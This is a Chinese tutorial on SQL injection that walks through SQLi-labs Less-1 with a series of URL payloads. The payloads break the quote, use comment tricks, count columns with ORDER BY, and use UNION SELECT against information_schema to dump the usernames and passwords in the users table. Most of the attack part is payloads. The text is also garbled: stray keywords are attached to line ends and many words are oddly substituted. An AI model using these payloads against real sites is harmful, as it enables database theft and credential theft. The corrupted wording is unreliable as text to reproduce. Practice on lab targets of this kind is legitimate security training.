首先咱们来了解一下什么是SQL注入?php
所谓SQL注入,就是SQL Injection:是Web程序代码中对于用户提交的参数未作过滤就直接放到SQL语句中执行,致使参数中的特殊字符打破了SQL语句原有逻辑,能够利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登陆限制等。mysql
那么,咱们应该怎么学习呢?SQLi-labs会是一个不错的选择。git
// GET-基于错误的-单引号-字符型github
点击less-1,进入如下界面:web
咱们看到黄字提示:Please input the ID as parameter with numeric value //“请输入ID为数值的参数”sql
因此咱们在url后输入:?id=1,回车,获得下面的页面:shell
说明用id=1查到对应的一些数据,实际上进行了下面的查询数据库
select * from TABLENAME where id=1;
咱们再在URL后面增长一个 ' (单引号),发现报错:浏览器
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1less
经过查看报错信息,咱们猜想多是由于后面加的单引号没闭合致使,因而,修改URL为:
/sqli-labs/Less-1/?id=1' or 1=1 --+
发现有效,--+成功注释了后面的代码,一样的,使用如下代码也成功查询到数据:
?id=1' or '1'='1
?id=1' or 1=1 --%20
?id=1' or 1=1%23
这里解释一下%23:%23是#的URL Encode获得的,和--+同是注释符。
常见URL Encode有:
%20 -> (空格)
%22 -> "
%23 -> #
%25 -> %
%27 -> '
至此,咱们能够开始猜解数据库了。
?id=1' order by 5%23
采用折半查找,找到一个最大的不报错的数字,则为该表的字段长度,这里为3;
?id=' union select 1,2,3%23
由图可知回显点为第2、第三个字段,因此咱们以后查询的内容要放在第2、第三字段才会显示;
?id=' union select 1,version(),3%23
?id=' union select 1,database(),user()%23
?id=' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23
?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23
?id=' union select 1,(select group_concat(username separator ';') from users),(select group_concat(password separator ';') from users)%23
至此,猜解完毕!